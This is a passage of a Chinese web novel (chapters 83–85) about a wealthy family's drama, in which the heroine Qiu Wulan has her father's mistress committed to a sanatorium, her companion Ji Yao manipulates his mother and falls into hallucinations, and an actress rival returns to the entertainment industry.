“十多年了,这好像是你第一次和我谈论她,会不会有点晚了。” “我想知道您对她的看法,这决定我接下来的措辞。” “这话真让我内疚。”邱岸山倒了杯威士忌,他不在乎自己的病,这是杯真正的酒,“难道我会为了一个情妇去责怪亲生孩子? “那就请您原谅我的冒犯了。”邱芜澜目色沉冷了下来。 “您应该知道,季葶离开了庄园一天。” 邱岸山靠着书桌,晃动着酒杯,“听说她去找你了。” “她说她得罪了您,非常恐惧。” 邱岸山嗤笑出声,他没什么别的意思,只是单纯被逗笑了而已。 “我就直说了,”邱芜澜却笑不出来,“她怕您抛弃他,想换个靠山,勾引了泽然。” 她说完,不意外地听见邱岸山嗯了一声。 他平淡地抿了口酒,对自己情妇骚扰亲生儿子的事情无甚所谓。 邱芜澜料到了他的反应。 邱家的家族观念在外界看来有些扭曲,邱家人向来对此不以为然,但此刻,即便是邱芜澜,也觉得邱岸山在亲情方面有些怪异了。 他无疑是极度重视家人的。邱芜澜不认为那是爱,那更像是一种纯粹的种族荣誉。 家人、孩子,如同一种勋章,他们的存在,是标榜、佐证邱岸山血统优越的证明。 他将他们视为自己的分.身,并非独立的人,而是邱岸山的一部分。 有些孩子是他的手和脚,他便将工作分配给他们; 有些孩子没什么用处,但因为是他的一部分,所以他也不在乎他去触碰他的东西。 如邱芜澜安慰邱泽然时说的那样,如果邱泽然想要季葶,邱岸山会慷慨大方地把季葶送出去。 邱芜澜知道,可还是忍不住质问,“父亲,您好像一点儿也不在意。” “嗯……”邱岸山品味着酒的回甘,“你见过他的那个小女友了。那个小丫头和泽然都太稚嫩了,有个经验丰富的女人去引导泽然是件好事。” 邱芜澜闭了闭眼,幸而她接受了治疗才过来,因而情绪并不激动。 她的目的是解决问题,只要达成目的,说法如何并不重要。 “如果季葶是一位稳重优雅的夫人,那么我也赞成您的想法。”她顺着邱岸山的话往下说,“父亲,泽然好不容易痊愈,他身边不能留有不稳定的刺激因子。” 邱岸山挑眉,“你是想说,季葶不够温顺?” “我也是近期才得知的。”邱芜澜拿出手机,将截取后的监控录像送到邱岸山眼前,“父亲,您的情妇似乎有些精神异常。” 屏幕之内,季葶咬牙切齿地在别墅内冲撞,她红着眼搜寻一切垃圾食品,尖叫着把它们拽出来,狠狠砸去楼下花园。 那般模样,任谁看了都会觉得她是个疯子。 邱岸山看完,改变了闲散的倚靠姿态。 “这是哪里的监控?”他问。 “季尧房子里的监控。” 邱岸山顿了下,忽而笑了出声。 邱芜澜不解,这有什么可笑的。 邱岸山屈指掩唇,摆手道,“抱、抱歉。” 他睿智、冷静又清贵如兰的女儿,竟丝毫不觉得在别人家里安装监控有什么不妥。 她不是因为知道自己会包容她的罪行,才这么理直气壮的。 她一脸纯然的疑惑,是根本没有意识到这一行为的错误。 邱岸山也不在乎她今天到底是为了邱泽安还是季尧来的,“我明白你的意思了,你打算怎么做?” 邱芜澜无法苟同邱岸山的私生活,但和他说话向来轻松,不需要花费太多的口舌。 她直入主题:“季葶照顾了您十几年,既然病了,就该送去治疗。如果您舍得的话,我想送她去精神疗养院。” 邱岸山搁下古典杯,“可以,我同意。” 十五年了,对着个中年女人,他也腻了。 邱芜澜起身,“谢谢您,那我今天就带她走了。” “除了季葶,你没有别的事情需要和我聊么。”邱岸山笑吟吟地望向她,“我的天使,我愿意倾听你所有的烦恼,尽己所能地帮助你。” 他展露出愿意帮她处理宋折凝的意向。 邱芜澜拒绝了这根橄榄枝,“不用了父亲,其他事我会自己看着办的。” 这才只是一个娱乐公司而已,等她进入集团,未来还有更庞大的问题等着她解决。她不能遇到一点小事就哭哭啼啼地跑回家,扑向父亲的膝头。 “是么。”邱岸山遗憾道,“那么你的生日呢,有什么想要的礼物吗。” “我确实有几个想启动的项目。”邱芜澜说,“我会向集团申请追加资金,届时希望您能帮我在董事会上说些好话。” 她出了书房,一转身就看见等候在楼下客厅里的季葶。 她一直注意着书房,邱芜澜出门的瞬间,季葶便站了起来。 她摆出笑脸,正要问候邱芜澜,便见邱芜澜漠然回身,吩咐女佣,“给季夫人收拾行李。” 季葶愣了下,房内干活的下人们皆悄悄竖起了耳朵。 “好的。”女佣问,“要准备外出多久呢?” 邱芜澜用足以让楼下听见的声音说,“季夫人身体不好,以后就在疗养院休养,不回这里了。” “哎呀……”女佣掩唇,惊讶地低呼。 霎时间,季葶只觉得无数双幸灾乐祸的视线聚集到了自己身上。 她怔怔望着邱芜澜,她站在二楼的飘窗上,没有回眸看她一眼。 像是她们初见时,她自楼上下来,居高临下地俯瞰渺小的她。 少女高不可攀的身影成为了季葶对这座庄园的第一印象。 或许打碎她女主人梦的,不是邱岸山日复一日的轻慢,不是随处可见的邱锦肖像,而是十四岁邱芜澜的那一瞥目光。 “芜澜!”季葶仓皇地追去二楼,“芜澜!你说的话是什么意思?我的身体很好,不需要疗养啊。” 两旁的女佣连忙拉住她,那样瘦弱的身形,却把两个常年干活的女佣挣得踉跄。 她拼命朝她靠近,大睁着圆眸求饶,“芜澜、芜澜,我没有病,我再也不敢骚扰泽然了,求求你让我留下吧!” 季葶再是天真,也明白“疗养院”是什么地方。 “夫人,你不觉得自己的精神状态出现异常了么。”邱芜澜站在她两丈开外,“没病的人是不会如此暴躁易怒的,你需要治疗。” “我可以在家治疗!” “这个家里有别的患者在,只能委屈你住在外面了。” 她转身欲走,季葶瞳孔骤缩。 “你不能这样对我!”她倏地尖叫,“芜澜,你不能这样对待妈妈!” 邱芜澜脚步一顿,蓦地回身,不可置信地看向她,“你说…什么?” 女人流着泪,脸上却扯出迷醉的笑。 她死死盯着邱芜澜,用哄婴儿入睡般的口吻道,“芜澜……我的宝贝女儿,我是妈妈呀,快让妈妈抱抱你,妈妈要一辈子和你在一起。” “哈哈、妈妈,我是妈妈哈哈哈哈……”她说着,突然乐不可支地笑了起来,“邱芜澜是我的女儿啊哈哈哈……” 瘦小的女人全然笼罩在疯魔的癔症当中,吓得两旁的女佣后背发凉。 “我还以为你只是想找个借口把她支走,”书房的门被打开,邱岸山站在门口,看着吃吃发笑的女人,“原来是真的疯了。” 他阴鸷冰冷地看着疯癫的季葶,低喝,“还不把这侮辱女主人的疯子带走!” “是。”女佣们急忙拉扯季葶,她趔趄了两步,崩溃地嘶吼起来,“我不走!我的女儿在这里!放开我你们这些贱货!我可是邱芜澜的妈妈,你们居然敢这样对我!我要叫我女儿把你们通通开除!” 邱芜澜抓着廊上的扶手。 她不发一言,指骨用力到像是要捏碎那段实木。 陡然之间,一只大手落在了她肩上,将她搂入怀里。 邱岸山抱住发抖的女儿,勃然怒喝,“保安在干什么!” “父亲”的气味、“父亲”的声音、“父亲”的身体令邱芜澜恶心反胃,她想要将邱岸山的手打掉,却在动作之前听见了柔婉虚弱的嗓音—— 「迁怒是很不好的行为。芜澜,你不该把时间精力花在折磨无辜的小熊上。」 陡然之间,那些狂暴的力量被这柔软的声音全部抽走,邱芜澜膝盖一软,险些滑落在地。 她被邱岸山及时抱住。 这是邱芜澜第一次在男人脸上看见愤怒、担忧和自责。 “别担心。”他说,“我会处理好,不会让她侮辱你母亲。” 哭闹声、叱骂声……这场近在咫尺的闹剧恍惚已离邱芜澜远去,她想到《红丝鸳》拍摄结束后的影视城垄断计划,届时会需要大量资金。 “芜澜!邱芜澜是我的女儿!”女人鬼泣的利啸把邱芜澜强行拉回这场闹剧,季葶被保安拖着离开,双目赤红地紧盯她,“放开我!我要和我的宝贝女儿待在一起!” 「芜澜,爱惜你的身体,更要珍惜你的头脑。利用好你拥有的一切。」 “芜澜……”邱岸山无措地望着怀里沉默的女儿,“你还好么。” 垄断计划似乎是目前唯一有难度的卡口了,可以趁着现在拿出来和邱岸山提。 “是我的不对,我真不该让外人踏入这里。宝贝,别这样,我向你道歉,有什么可以让爸爸补偿你?” 邱芜澜拂开了邱岸山的手。 “没事。”她事不关己般漠然道,“生了病,及时治疗就好。” 最终,邱芜澜什么也没有提,只是一个人去了蔷薇园前的长椅上静坐了一宿。 「芜澜,你是我最爱的孩子,可有的时候,我也真是嫉妒你。」 女佣收拾了季葶的房间,把她所有东西都打包成行礼。 她们找到坐在长椅上的邱芜澜,向她汇报: 除了衣服首饰,季葶房里最多的就是蔷薇香薰。 第83章 第八十三章 邱芜澜有几天没有见到季尧了, 他还在医院观察,自己的妈妈却被她送进了另一家医院。 不过三天时间而已,邱芜澜却不知该如何面对季尧。不止是因为季葶, 还有那份监控录像,以及被他撞见和华君润的亲昵。 邱芜澜心情有些复杂, 可再是复杂,季葶的事情也必须知会他。 显然, 除了邱芜澜自己,没有第二个人能承担起告知义务。 第四天早上,医生确定术后没有出血, 便放季尧离开了。 邱芜澜亲自接了他。 她没有给季尧和自己任何缓冲, 直接带他去了疗养院。 位于城郊的疗养院和别墅方向相反, 近两个小时的路程, 季尧没有发问, 他弯着眉眼, 轻哼着不成调的曲子, 像是在和邱芜澜出游。 车子停在疗养院门口,邱芜澜再无法拖延。 她熄了火,对季尧道, “阿尧, 我要带你去见一个人。” “是见妈妈么。” 邱芜澜不意外他猜出了答案。 “下车吧。”季尧自己戳破了这层纸, 也省却了她的口舌。 “好的姐姐。” 他浑然不在意,轻松自在地下车欣赏起这片疗养院来。 近亲联姻让邱家饱受遗传病之苦, 他们几乎是从发家之初, 就投资了医疗行业。 这片疗养院正是其中代表。 它占据了城南郊外最秀丽的风景,依山傍水,空气清新, 复古的建筑如艺术殿堂般赏心悦目。 邱芜澜带着季尧入内,副主任早早等候在外,热情地引他们上楼。 “季女士的手续已经办齐了,她的病不算危险,保险起见,第一阶段还不能和人接触。我们安排她进了带探视区的房间,就在这边。” 他们进入了一道狭长的小室,这间用作探视的房间三面是墙,一面是防弹玻璃。 玻璃后是一间舒适清爽的大单间,约莫七十平米。 坐在探视区的凳子上,整个单间一览无遗,邱芜澜和季尧一眼看见了季葶。 她和在庄园里没什么区别,一样的病弱苍白,唯独不同的是,她不再挂着小心翼翼的谄笑。 独自一人的空间里,她再没有需要讨好的主人们。 没有了笑容,那张憔悴疲惫的脸愈发阴沉,透出一股心死如灰的冷意。 邱芜澜这才知道,原来季葶不笑的时候,是极有攻击性的凶相。 双向的玻璃让他们一眼看见了季葶,也让季葶迅速发现了他们。 她的瞳孔微微收缩,霍然之间,那张死人般面无表情的脸上迸发出邱芜澜熟悉的笑意,如墨滴水中,顷刻间染黑了整杯水。 “芜澜!”她提裙奔至窗前,拍打玻璃,狂热而欣喜地盯着她,“你来接妈妈回去了吗?” 邱芜澜眯眸。 她彻底疯了。 被强行从生活了半辈子的地方带走,她尚不知道自己会去哪里、是否真的会遭遇不测,就因悲观的揣测而惊恐交加,大受刺激。 “这里还好么。”邱芜澜问。 “还可以……”那张娃娃脸上透出两分可怜,“但是妈妈还是想和你生活在一起。” “芜澜,带妈妈走吧。”她哀求她,“你不喜欢季尧吗?那你喜欢什么样的,妈妈再给你生好不好?嗯?带我走吧,我给你生更漂亮、更听话的宝宝,你喜欢什么我就给你生什么。” 至此,邱芜澜才明白季葶为什么会把自己当做她的妈妈。 她不是要取代邱夫人,她早已没了痴心妄想,只是认为自己有机会当她的婆婆而已。 知道了这一点,邱芜澜心中的厌恶稍退,随后,数倍的荒唐感填补了上来。 女人的眼睛睁得大大的,瞳孔收缩至极,露出血丝纵横的眼白。 再是甜美可爱的长相,都由此变得悚然。 “姐姐,”季尧望着玻璃后的女人,“能让我和妈妈说说话吗。” 邱芜澜颔首,起身离开了探视区。 “芜澜!芜澜!芜澜——”见她离开,季葶突然激动起来,她大力拍打玻璃,呼唤她回来,声音一声比一声凄惨,活脱脱是个被抢走心爱孩子的母亲。 不论季葶如何呼喊,房门都被关上了。 门合上的那一刻,她脱力地跌坐在椅子上,失魂落魄地发起了呆。 “妈妈。” 良久,含笑的少年音将她唤醒。 季葶抬眸,阴鸷地望向对面的儿子。 他十指交叉,垫在下巴,笑眯眯地对她道,“这句话有点晚了——谢谢你来瑚城见我。” “贱狗……”季葶猛地起身,“你是故意的!我就奇怪你那天为什么胆敢反抗我!你是故意让芜澜看见我那副模样的!” “我也很想一辈子顺从你,做一个听话的儿子,可你为什么要动那些歪脑筋呢。”季尧挑眉,“你想得到姐姐的爱,就得让她满意啊,怎么能去碰她重视的家人?只差一点,我就要被你连累了。 他长舒一口气,“幸好,姐姐在意我——在我房子里留了监控,否则我还真没办法这么快把你甩掉。” “贱狗贱狗!”季葶忍无可忍地尖叫起来:“要不是因为你这个废物没有本事,我又怎么会胆战心惊地做出那种事!都怪你都怪你都怪你!” “好了妈妈,别再吵闹了。”季尧上身后仰,靠向了椅背,修长的双腿上下叠交。 那双玻璃糖般漂亮的浅色瞳孔里淌出甜蜜的笑,“姐姐已经厌恶你了,没有人会想和神经病的儿子在一起,你老实本分一点,这样我还能借你的名义装装可怜。” “虽然你从来没有给过我任何帮助,这次更是留下了一大摊麻烦要我去善后,但你毕竟生下了我,我会尽力完成你的梦想,待在姐姐身边。” 他的这些话,季葶充耳不闻。 她枯坐在探视镜前,掩面哭泣着,于咸涩的泪水中魔怔喃喃:“贱人、贱人……我可是邱芜澜的妈妈……我要让我女儿开除你们、开除你们……” 季尧说完要说的,不再看陷入幻想世界的季葶,心情愉悦地离开了探视区。 从进入邱家至今,整整十五年,他终于解决掉了自己人生里最大的包袱。 那沉重的镣铐霍然解开,季尧的脚步从未如此轻快。 他不再是小三的儿子了。 他的妈妈,不再是邱岸山的情妇了。 脚步一顿,他听见不远处传来邱芜澜的声音。 “好的,我明白了邱小姐,一定会为季夫人匹配最好的医疗团队。” 不远处的走廊上,邱芜澜正和医生交谈。 “您别担心,我们院您是清楚的,绝对不会出现那种虐待患者的情况。” 季尧放慢了脚步。 他茫然困惑地望着邱芜澜的背影。 “保密条款明天送过来,麻烦团队所有人都签一下。”邱芜澜道,“她看到我后情绪激动,未防刺激她,我暂时就不来了,以后每周会有人过来检查季葶的情况。除了通讯设备和危险物品外,满足她的一切要求,有什么情况,直接联系我。” “好的。” “姐姐。” 听见声音,邱芜澜回头看向季尧,“都说完了?” “嗯。” “那就回去吧。” 这一次是回别墅的路线。 季尧偏着头,凝望邱芜澜开车的模样。 静谧的车厢内,他迷茫地开口,“姐姐,你不讨厌她么。” “我恨不得扭断她的四肢。”邱芜澜不假思索,“连我都没有禁止你吃薯片。” “那为什么…要那样嘱咐医生?” 那几句嘱咐,让季尧喜悦停滞了,他不明白邱芜澜为什么要这么好心,好像她真成了季葶的女儿,真的只是在为生病的妈妈治疗而已。 “嗯?”邱芜澜发出疑惑的鼻音,像是不解他怎么会问这么理所当然的问题。 “她是病人。”她道,“她生病了,控制不了自己的认知和行为,不能认定她是主观恶意。” 季尧一愣。 他惊愕邱芜澜的客观理性。 在看见季葶那样疯癫的恶行后,她居然能平静地说出这样的话来,完全摒弃个人情绪。 短暂震撼之后,季尧蜷起五指,按捺住惊涛骇浪的悸动。 在所有人唾弃他是小三的儿子时,身为受害者的女儿,她不含丝毫偏见地看见了他本身。 她是绝对的公正客观,仿若墨提斯和忒弥斯的化身。 这超脱人类劣根性的强大理性,让邱芜澜完美无缺。季尧无法控制地为她痴迷,渴望跪在祂身前,以便不错过祂施舍的每一次爱抚。 他们没有提及那段至关重要的监控录像。 谁也不觉得邱芜澜在季尧身边安装监控有什么不妥。 可既然半年下来,季尧都乖乖吃饭,季葶也被隔离,那么那些监控似乎也没有用处了。 趁着季尧住院,邱芜澜让请假回来的简把它们都撤了。 得知季葶私底下做的事,邱芜澜本摇摇欲坠的决心再度夯实—— 不能再拖了,她必须让季尧拥有健康、正常的生活。 健康、正常生活里,不该出现那么多监控摄像头。 “去郸城前,先住我这里。”邱芜澜把车开进了自己的别墅。 季尧术后出院,身边要有人应急;何况他的房子残留着季葶的余威,大病初愈的季尧需要缓一缓。 “助理把你的戏份协调到了下周,原定的排程都有微调,他们都和你交代了?” “嗯。”季尧跟着邱芜澜回家,进入屋子,他看见了一束向日葵矢车菊。 邱芜澜顺着他的目光看去,“语薇托助理送来的。” 季尧突然住院,来送礼的很多,邱芜澜把礼物堆放在了公司和季尧别墅里,家里只留下了季语薇送来的花束。 不是什么别出心裁的礼物,但那金黑色的向日葵开得生机勃勃。比其他花卉都要大的花盘争抢着阳光雨露,那份生机浓烈得近乎霸道了。 邱芜澜想起监控里的面对季葶的季尧,麻木空洞,没有丝毫反抗的意愿。 她于是留下了这束向日葵,给季尧提神,让他也沾染几分向日葵的灿烂活泼。 季尧抱起了花。 贺卡上的日期是今天,说明季语薇特地打听了他的出院时间。 他捻着向日葵金黑色的花瓣,目光落在贺卡上的署名。 比起花束,季语薇身上有季尧更想要的东西。 宋折凝回国在即,他也差不多该去见她了。 第84章 第八十四章 华君润托着邱芜澜的左手, 将一枚鸽血红戒指缓缓套入她无名指间。 滴血的红宝石散发出妖冶的华光,他捧着邱芜澜的手,定定欣赏, 半晌,俯身在戒面上落下一吻。 “太奢侈了。”邱芜澜由衷感叹, “我这个年纪戴不出去。” “我本来是想当做三十岁礼物送给你的,”华君润自她手背上抬眸, 笑道,“可是等不及了。” 邱芜澜将手从他掌心抽离,放在眼前打量了一会儿那颗小指甲盖大的红宝石。 “一年的收入?”她品鉴道。 “一年半。”华君润搂住她的腰, 鼻尖抵在她鬓发内, “我贷款了。” 邱芜澜回以不赞同的目光, 他似水柔情地笑, “芜澜, 二十九岁生日快乐。” 复合不过几个月, 邱芜澜几乎每周都会收到戒指。 华君润的执念可见一斑, 她本想劝他冷静点,但对着这样的笑容,不忍泼他冷水, 于是换了个甜蜜的话题。 “贷款我帮你还, ”她用戴着戒指的左手抵住了华君润的双唇, 让他别急着说出拒绝,“但你要为我工作。” 华君润疑惑, “我一直是你的艺人。” “你也是股东, 你的工作一直是自治的,公司更像是你找的中介平台。” 华君润了然,他轻咬着唇前的手指, “太卑鄙了,在生日的时候和我许愿,吃准了我不能拒绝你。” “好吧,”他妥协了,“你想让我接多少单子?至少要留出我亲亲你的时间。” “君润,我不是要榨你的血。”邱芜澜侧身,正对着他,“我考虑了很久我们的未来,你和韩尘霄不一样,我不能断送你的事业。” 她劝韩尘霄不要放弃工作,是为了日后推卸责任,防止他后悔埋怨自己; 华君润不同。 说不出是因为他罕见的表演天赋,还是他们之间有不一般的情分,邱芜澜对他比对韩尘霄真诚了许多。 “你非要在这时候提一嘴前男友么。”华君润故作不悦,“省掉他的名字,不影响我们交流。” “你们确有相同之处。” 华君润凉凉道,“是啊,都是你的艺人兼男友。” “别打断我说话,”邱芜澜哭笑不得,“我想说的是,韩尘霄和你一样,不太喜欢交际应酬。” “你比他更加纯粹,不止是应酬,广告商单、综艺游戏,你其实都不喜欢。接这些活是无可奈何,一开始是为了还债,后来是为了维持知名度,好有戏可拍。从始至终,你想做的只是演戏而已。” 华君润不否认邱芜澜的分析。 “和我在一起,你不必担忧资金和资源。”邱芜澜牵起他的手,“君润,我可以把你打造成娱乐圈的清流。” “你不用再去接那些商单,我要你把时间空出来,待在我身边,照顾我的起居、帮我打理家庭网。” “你不用再勉强自己去做不喜欢的事,所有好剧本都会优先送到你面前,你只需要拍戏,当一个淡泊名利的表演艺术家。我每年给你四个月——足够完成两部电影或一部长电视剧,除此以外,你所有的时间都要花在我身上。” 这是邱芜澜反复思考后,基于双方以及公司利益做出的最好方案。 知晓季葶的精神状态后,邱芜澜蓦地感谢起季尧。 如果不是季尧和韩尘霄打了一架,恐怕此时韩尘霄已经成为了第二个季葶,每日待在别墅里期盼她的光临。 邱芜澜此前不觉得这有什么不妥。 家庭主妇、主夫亦是一份工作,她的母亲就以此为荣,创造出了傲人的成绩。 但送走季葶后,邱芜澜才意识到,不是所有演员都是华君润,不是所有歌手都是季语薇,同样,不是所有人都像她母亲那样强大、优秀。 韩尘霄并不算坚韧,他更有可能像季葶一样,被岁月磋磨崩溃。 幸好,那一场斗殴斩断了她圈养韩尘霄的想法,阻止了悲剧发生。 有韩尘霄做前车之鉴,华君润绝不能一直待在家里,不仅是出于对他个人的考虑,也是出于公司利益。 像他这样优秀的演员,必须在舞台上发光。 邱芜澜不需要华君润没日没夜地接单赚钱,她需要的是名誉。 一个清心寡欲、醉心演戏的清流演员,会成为很好的金字招牌,从此,华君润出现的作品便会和“质量”“口碑”挂钩,在上映之前先博得观众七分好感。 “你可以慢慢考虑,”邱芜澜道,“不过我认为,这是个对你对我都还算不错的提议。” “我同意。” 华君润没有任何犹豫。 “再考虑考虑?” 华君润摇头。 “芜澜,我好高兴,”他握住了邱芜澜的左手,五指插.入她指间,“原来不是只有我一个人在考虑未来。” 他的视线垂在两人的手上,滴血的红宝石在紧密交握的指间熠熠生辉,如同藤上结出的圆满硕果。 华君润唇畔噙了一抹恬淡的笑,不及年少时炽热,却更加悠长,带着回甘。 邱芜澜偏头,枕着他的肩膀,“我给不了你婚姻和孩子……对不起君润,我知道你很想组建家庭,可我恐怕满足不了你。” 她的婚姻牵涉了太多利益,父亲和哥哥不会轻易同意; 而孩子则让邱芜澜恐惧。 她看过无数次泽然泽然幼时发病的痛苦情形,幼童发病或麻木或疯狂的崩溃模样,如恐怖片一般成了她挥之不去的童年阴影。 这股病态的血脉,邱芜澜不打算延续下去。 “你我就是家庭,”华君润深嗅着她的发香,“没关系的芜澜,我不是那么贪得无厌的人,既然有幸得到了珍贵无比的你,那自然要有舍弃。” 邱芜澜倚在他怀中,由衷道了句,“谢谢。” “说起家庭。”华君润笑意微收,“芜澜,你是如何打算阿尧的?” “阿尧?”邱芜澜挑眉,“他怎么了。” 华君润一愣,为邱芜澜的这份不解感到诧异。 作为姐姐,和丈夫亲热的场景被表弟撞破,这样羞窘的尴尬,她竟好像已经忘了一般。 “他已经不小了,”华君润欲言又止,委婉地旁敲侧击,“总是进出姐姐家里就算了,至少在公司,不能一直待在你办公室啊。” “他不吵。”邱芜澜脸上浮现出浅淡的笑意,那是提到季尧两个字就会有的微笑,“他在我身边,能随时帮我添茶做饭,有些AI处理不够完美的基础工作,也能交由他来处理。” 华君润张口欲言,邱芜澜在他之前道,“不过你说得对,他确实不小了,不能再一直追着姐姐屁股跑,该有自己的生活。” 想起季葶对季尧造成的负面影响,邱芜澜心情又沉重了两分,“以后我不会再让他在我家里过夜了。” 她的阿尧,必须要有健康自由的生活了。 “他一直在你家里过夜?”华君润惊愕,“他的房子不就在隔壁么。” “有时候晚了、有时候天气不好,我起得早,他第二天四点就得起床给我做早餐,索性留下。” 华君润不自觉皱起了眉,说不出哪里有些怪异。 “我明白自己对他是有些过分宠爱了,”邱芜澜抚上华君润的眉心,“阿尧的情况有些特殊……我已经在试着放手了。你也知道,除了你和他做的食物,我很难吃下别的东西。你离开那么久,我又有什么办法呢。” 她近乎幽怨的语气听得华君润心软骨酥。 “抱歉,从前是我不好。”他向邱芜澜保证,“以后我会负责你的三餐,这样阿尧就不用被你天天抓苦力了。” “说话真难听。” “难道不是么,”华君润笑道,“不仅是苦力,早几年还是童工。” “未成年出来工作,在这一行可是美谈。”这话由华君润说出来,逗得邱芜澜发笑,“你要是能在六.七岁的时候出来拍戏,现在的成就会更上一层。” 华君润淡淡道,“是啊,真是荒诞。” 邱芜澜觉得有趣极了,他能因为嫉妒,用酒色权利蚕食一个年轻后辈,却在这时候表露唏嘘。 换做从前,她会认为华君润虚伪;但她狠狠刺激过了他,在他焦虑症发作的时候问清楚了他的想法。 那是比测谎仪更加精准的测试,华君润通过了,其余的邱芜澜并不在乎。 她只要确定他不会背叛她就好。 “开机快两个月了,你看阿尧怎么样。”邱芜澜依偎在他怀中,看季语薇新一期综艺,“他有表演天赋么。” “比预计的好。”华君润眸光微移,在季语薇摔进泥潭、周围一片哄笑时,隐晦开口,“男三的人设是贴合他的,前期很开朗爱笑的一个少年,阿尧也是这样,经常看见他在公司里和人说笑。” 从泥潭里站起来的季语薇面目全非,晕乎乎地转悠了半圈,又跌了回去,溅了一屁股泥。 邱芜澜了然,“你是说他和那些前台接待吧。” 华君润没有否认。 他不明白,像季尧那目中无人又天真单纯的富家子弟,为什么总是顶着假笑冲基层员工撒娇。 这是和他身份、性格相违背的行为,季尧并不是在撩妹,华君润一眼就知道和前台说话时,他内心有多反感无聊。 “那是一种代偿。”邱芜澜道。 他得不到母亲的夸奖,被雪藏后失去了姐姐的肯定,于是格外渴望得到年长女性的认可。 那身才华无处施展,他迫切想要有人肯定他的存在价值。 每当邱芜澜换了新男友,季尧和接待说话的频率便会上升。她很容易观察到,那段时间季尧对身边的年长女性会特别和颜悦色。 最近的一次,是易蒲来秋叶排练,给公司送了甜品。 易蒲前脚把甜品送进来,季尧后脚就找大厅前台争宠。 邱芜澜很难评价这种行为好与不好,她只是有点痛心。 他本该大放光彩,却因出身的缘故,到了要靠对女人撒娇才能感受自身价值的地步。 这份恻隐之心以及隐隐的愧疚,让邱芜澜无法开口训斥。 季尧也很懂分寸,不会把撒娇上升到纠缠骚扰。 邱芜澜将那些女员工的反应看在眼里,确定她们并不困扰后,放纵了季尧。 “代偿?” “不,没什么。”这些事,还不到和华君润说的时候,“他做那些事,让你看不惯了?” “那倒不是。”华君润抱着邱芜澜,同她一起看向屏幕里笑得烂漫的季语薇。 “我只是觉得,他是很有表演天赋的。” 没有…… 没有!没有! 季尧张皇跑上二楼,推开书房的门,又奔去主卧。 他拿起了床头的粘土人。 破碎的脑袋里空了一块,原来位置上的两颗微型摄像头已不见踪影。 季尧怔怔盯着空了的头部,他猛然转身,视线之内,彻底黑暗。 自剧组回来,为他照明的星星全部消失不见。 明亮的视野归于暗昧,渗人的黑幕之中,季尧只能依稀看见从黑色里渗透出来的红。 这极具压迫感的黑红色,令季尧惊恐地跌坐床上。 他努力睁大眼睛,也只勉强看出近处物品的模糊轮廓。 窸窸窣窣的虫声自漆黑的角落爬了出来,愈来愈近,愈来愈响,密集的甲壳声毛骨悚然,最终变得电钻般刺耳洪亮。 季尧咬牙捂耳,虫声已远超“吵”的程度,他仿佛置身于雷暴,被磅礴的轰鸣震得耳膜发痛。 一阵灭顶的剧痛后,他感觉到了温热的痒意,似有汩汩鲜血从耳洞流出。 恐怖。 季尧所感,唯有恐怖。 在他以为自己要溺毙在这恐怖的音波中时,那窸窸窣窣的虫声忽而消停了。 它们汇聚成一声轻柔的呼唤—— [阿尧……] 季尧猝然扭头,身后空空荡荡,除了深渊般的黑红以外,再无它物。 [阿尧] 那声音再度拂过他微痒的耳畔,季尧惊声回应,“姐姐?” 他确定了那就是邱芜澜,自床上站起,于黑暗中寻找她的声音,“姐姐,你在哪里,为什么要收走那些监控?” [阿尧,你明明知道。] “我不知道、我不知道!”季尧抱着耳朵,崩溃躬身,“我一直都乖乖听话,为什么姐姐连监控都不能留给我……” 黑暗中的邱芜澜低语: [我注视的是有足够价值的人。阿尧,现在的你,有什么值得我垂视的价值呢。] 季尧激动起来,对着虚无处高喊:“我可以找到下一个影帝歌后,我也可以去谈成天欣集团的合作!姐姐,只要你用我,我会展现出足够价值!” [我为什么要用你,这些事,我自己就办得到。] “姐姐想要我做什么,我都可以做!”他说着,带上了泣音,“求你、求求你把监控还给我……这里好黑,我什么也看不到……姐姐,阿尧害怕……” 冥冥之中,季尧听见了一声叹息。 [阿尧,我太失望了。] 季尧抬眸,蒙着泪雾的眼里迷茫无措。 他做了什么,他一直乖乖听话,从没有违背过姐姐的心意,为什么还要对他失望? [我花费毕生精力培养你、调.教你,最终却得到了一个保姆——季尧,你就是这样回报我的。宋折凝就要回来了,她尚在国外,国内便铺天盖地全都是她的消息,你就这样眼睁睁看着我被宋折凝羞辱?] “是因为邱承…” [够了,你明知道我对他狠不下心,为什么就不能把我一把!] “姐姐?”季尧愣怔着,第一次从邱芜澜口中听到怨恨的语气,他压着狂跳的心脏,不敢相信地同她复核,“你需要我……帮助你?” [帮助我,阿尧。] 那声音淡了下来,似在远去。 [你知道我需要什么,就像我为你处理掉了季葶一样……你知道那个压在我头上的人是谁。] “姐姐、姐姐!” 季尧慌张地试图挽留。 [别让我等太久。] 肩上一凉。 季尧怔忪回眸,刹那之间,他恍惚瞥见了邱芜澜的身影。 她搭着他的肩膀,覆在他耳后呵气,[阿尧,快一点——让我摆脱受制于人的困境。] [你是我最优秀的作品,我好想光明正大地疼爱你……] 季尧瞳孔骤缩。 微凉的触感消散,他身后空无一人,仿佛一切都只是他的幻想,未曾留迹。 那酥麻的呢喃散尽了,季尧眨了眨酸涩的眼。 他陡然发现,暗如深渊的红潮淡去了两分。 那勾魂摄魄的喃语,为他哺了一口光明,奖励他看见五米之内的物体。 良久,季尧回眸,冷睇向窗台上的花瓶。 一束发蔫的向日葵耷拉在瓶口上,硕大的黑色花盘疲软地背阳垂落,散发着枯败颓意,惹人怜惜。 第85章 第八十五章 《红丝鸳》开机第三个月, 娱乐圈被投入了一颗巨石。 宋折凝回国了。 元旦当日,竞业协议结束的首个小时,宋折凝的云书便发表了回归照片。 紧接着, 双栖影后的身影铺天盖地地出现在了所有人面前。 #秋叶两代台柱同框# #宋折凝 气场# #VB 新代言人# “语薇姐,云盛典那边打来电话, 说我们的位置可能要微调。” “语薇姐,《singer》说临时新增了一位导师, 内部人员透露,八成是宋折凝。” “语薇姐,节目组问我们能不能换个色号, 说和新加盟的女嘉宾撞了……” 季语薇沉沉盯着手机。 昨天的慈善晚会, 她的行程不知怎么被泄露出去, 半路遭到记者围堵, 比预计晚到了十五分钟。原定的搭档都已完成了签到, 现场人员临时帮她安排了新搭档。 四人一组的签到, 好巧不巧, 她被插.入了宋折凝那一组。 两人同框的视频被传到了网上,视频底下,清一色的拉踩嘲笑。 “宋姐还是你宋姐, 这气场不是谁都能比的。” “啧啧, 季语薇也快三十了, 在她边上跟个网红似的,一点没有三十岁的气质。” “白幼瘦是这样的。” “小天后还是嫩了点, 一眼看出大小王。” “语薇姐, 那个汽车代言可能续不上了……对方有意宋折凝……” 呛—— 办公桌上的金石摆件倏地砸向墙角的瓷瓶。 